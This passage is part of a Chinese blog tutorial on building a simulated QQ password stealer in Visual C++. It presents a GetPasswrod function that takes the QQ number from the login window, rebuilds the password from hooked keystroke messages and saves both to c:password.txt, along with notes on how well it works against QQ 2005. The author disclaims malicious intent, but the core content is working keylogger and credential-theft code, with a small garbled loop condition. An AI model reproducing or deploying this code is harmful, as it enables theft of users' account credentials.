龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > 软件开发 > VC开发 >

盗QQ的密码软件模拟实现(VC)[图](3)

时间:2009-12-30 15:42来源:未知 作者:admin 点击:
分享到:
第四部分:(4)处理密码 如果您读到了此处,我想得暂停一会,先让我来帮你回忆一下前面提到的几个关键的变量 第一个:QQ号的子窗口句柄 g_hNum 第二

  第四部分:(4)处理密码

  如果您读到了此处,我想得暂停一会,先让我来帮你回忆一下前面提到的几个关键的变量

  第一个:QQ号的子窗口句柄 g_hNum
  第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面
  第三个:存键盘按键的 pmsg

  上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息。


void GetPasswrod()
{
//声明变量和初始化
HANDLE f;
TCHAR num[13];
TCHAR psw[21];
TCHAR total[50];
int j;
memset(num,0,sizeof(num));
memset(total,0,sizeof(total));
memset(psw,0,sizeof(psw));

DWORD dw;
//得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的
GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码

//提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码
for(j=0;j 20;j++)
{
psw[j]=(TCHAR)pmsg[j*2].wParam ;
}
psw[j+1]='\0';
//把QQ号码和QQ密码写入C盘password.txt中
f = CreateFile("c:password.txt",
GENERIC_WRITE,
FILE_SHARE_WRITE,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);

strcat(total,"号码");
strcat(total,num);
strcat(total,"密码:");
strcat(total,psw);
WriteFile(f,&total,sizeof(total),&dw,NULL);
CloseHandle(f);
}

 最后在C盘password.txt也许会出现这样两种情况:

  1)当QQ号是没有用输入,而已用的粘贴或者是电脑以前有记录则是:号码:21728812密码:TEST

  2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是: 号码:21728812密码:21728812TEST

  可以看出,第2种情况把QQ当成了密码了,所以密码还得减去QQ号。

  特别说明:我这样直接处理wParam参数,得到的字符密码全是大写的,具体大小写问题我没有就没有仔细去处理的,功能实现就行了,毕竟我使用他不用来盗密码的!

  上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量,没有提到的函数如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,详细使用说明请查MSDN(http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,也许有的地方我说的钩子函数,而另外一个地方说的是HOOK函数

  特别说明:上面有具体的运行文件,由于小弟并没有考虑到更多细节,我只是用了“理想”状况下去获得密码,并且或的密码后并没有注重后期密码处理,也许出现密码大小写不符合或是无法得到密码,写这篇文章意在告诉一些对这方面感到疑惑的朋友基本的原理,和希望和大家交流 !

  注意:本人使用的QQ2005 贺岁版 版本号:13.5.0.8213,其他版本的QQ我无法保证可以正确得到密码!

  参考资料:MSDN,Titilima的QQ尾巴病毒模拟代码

收藏文章
表情删除后不可恢复,是否删除
取消
确定
图片正在上传,请稍后...
评论内容为空!
还没有评论,快来抢沙发吧!
按钮 内容不能为空!
立刻说两句吧! 查看0条评论
精彩图集

赞助商链接